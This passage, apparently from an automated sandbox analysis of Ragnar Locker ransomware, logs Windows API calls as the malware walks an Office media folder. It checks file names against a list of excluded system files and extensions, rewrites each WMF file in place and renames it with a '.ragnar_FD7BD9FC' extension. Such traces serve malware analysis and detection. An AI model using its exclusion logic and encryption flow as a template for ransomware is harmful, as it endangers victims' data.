liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.447] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7018, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.447] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7018, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7018, lpOverlapped=0x0) returned 1 [0095.447] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7018, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.447] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.447] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7018, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.447] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.447] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.447] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.448] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.448] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.448] GetProcessHeap () returned 0x580000 [0095.448] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.448] CloseHandle (hObject=0x104) returned 1 [0095.448] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" [0095.448] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.ragnar_FD7BD9FC" [0095.448] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.449] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0095.449] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.449] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0183328.WMF" | out: lpString1="J0183328.WMF") returned="J0183328.WMF" [0095.449] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF") returned=".WMF" [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="autorun.inf") returned 1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="boot.ini") returned 1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="bootfont.bin") returned 1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="bootsect.bak") returned 1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="bootmgr") returned 1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="bootmgr.efi") returned 1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="bootmgfw.efi") returned 1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="desktop.ini") returned 1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="iconcache.db") returned 1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="ntldr") returned -1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="ntuser.dat") returned -1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="ntuser.dat.log") returned -1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="ntuser.ini") returned -1 [0095.449] lstrcmpiW (lpString1="J0183328.WMF", lpString2="thumbs.db") returned -1 [0095.449] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.449] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.449] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.449] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.449] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.449] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.449] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf")) returned 0x20 [0095.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.450] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5370) returned 1 [0095.450] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x14f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.450] GetProcessHeap () returned 0x580000 [0095.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.450] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.452] VirtualAlloc (lpAddress=0x0, dwSize=0x14fa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.452] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.452] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.452] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14fa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14fa, lpOverlapped=0x0) returned 1 [0095.453] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.453] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.453] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14fa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14fa, lpOverlapped=0x0) returned 1 [0095.453] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.453] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.453] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x14fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.453] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.453] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.453] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.453] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.454] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.454] GetProcessHeap () returned 0x580000 [0095.454] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.454] CloseHandle (hObject=0x104) returned 1 [0095.454] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" [0095.454] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.ragnar_FD7BD9FC" [0095.454] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.454] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0095.454] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.455] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0185604.WMF" | out: lpString1="J0185604.WMF") returned="J0185604.WMF" [0095.455] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF") returned=".WMF" [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="autorun.inf") returned 1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="boot.ini") returned 1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="bootfont.bin") returned 1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="bootsect.bak") returned 1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="bootmgr") returned 1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="bootmgr.efi") returned 1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="bootmgfw.efi") returned 1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="desktop.ini") returned 1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="iconcache.db") returned 1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="ntldr") returned -1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="ntuser.dat") returned -1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="ntuser.dat.log") returned -1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="ntuser.ini") returned -1 [0095.455] lstrcmpiW (lpString1="J0185604.WMF", lpString2="thumbs.db") returned -1 [0095.455] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.455] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.455] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.455] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.455] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.455] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.455] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf")) returned 0x20 [0095.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.456] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5916) returned 1 [0095.456] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1713, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.456] GetProcessHeap () returned 0x580000 [0095.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.456] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.457] VirtualAlloc (lpAddress=0x0, dwSize=0x171c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.457] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.458] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.458] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x171c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x171c, lpOverlapped=0x0) returned 1 [0095.458] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.458] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x171c, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.459] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x171c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x171c, lpOverlapped=0x0) returned 1 [0095.459] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x171c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.459] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.459] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x171c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.459] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.459] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.459] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.459] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.459] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.459] GetProcessHeap () returned 0x580000 [0095.459] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.459] CloseHandle (hObject=0x104) returned 1 [0095.459] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" [0095.459] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.ragnar_FD7BD9FC" [0095.459] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.460] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0095.460] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.460] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0186002.WMF" | out: lpString1="J0186002.WMF") returned="J0186002.WMF" [0095.460] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF") returned=".WMF" [0095.460] lstrcmpiW (lpString1="J0186002.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.460] lstrcmpiW (lpString1="J0186002.WMF", lpString2="autorun.inf") returned 1 [0095.460] lstrcmpiW (lpString1="J0186002.WMF", lpString2="boot.ini") returned 1 [0095.460] lstrcmpiW (lpString1="J0186002.WMF", lpString2="bootfont.bin") returned 1 [0095.460] lstrcmpiW (lpString1="J0186002.WMF", lpString2="bootsect.bak") returned 1 [0095.460] lstrcmpiW (lpString1="J0186002.WMF", lpString2="bootmgr") returned 1 [0095.460] lstrcmpiW (lpString1="J0186002.WMF", lpString2="bootmgr.efi") returned 1 [0095.460] lstrcmpiW (lpString1="J0186002.WMF", lpString2="bootmgfw.efi") returned 1 [0095.460] lstrcmpiW (lpString1="J0186002.WMF", lpString2="desktop.ini") returned 1 [0095.460] lstrcmpiW (lpString1="J0186002.WMF", lpString2="iconcache.db") returned 1 [0095.460] lstrcmpiW (lpString1="J0186002.WMF", lpString2="ntldr") returned -1 [0095.461] lstrcmpiW (lpString1="J0186002.WMF", lpString2="ntuser.dat") returned -1 [0095.461] lstrcmpiW (lpString1="J0186002.WMF", lpString2="ntuser.dat.log") returned -1 [0095.461] lstrcmpiW (lpString1="J0186002.WMF", lpString2="ntuser.ini") returned -1 [0095.461] lstrcmpiW (lpString1="J0186002.WMF", lpString2="thumbs.db") returned -1 [0095.461] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.461] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.461] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.461] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.461] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.461] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.461] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf")) returned 0x20 [0095.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.462] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12132) returned 1 [0095.462] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2f5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.462] GetProcessHeap () returned 0x580000 [0095.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.462] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.464] VirtualAlloc (lpAddress=0x0, dwSize=0x2f64, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.464] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.464] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.464] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2f64, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2f64, lpOverlapped=0x0) returned 1 [0095.465] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.465] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f64, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.465] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2f64, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2f64, lpOverlapped=0x0) returned 1 [0095.465] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2f64, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.465] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.465] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.465] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 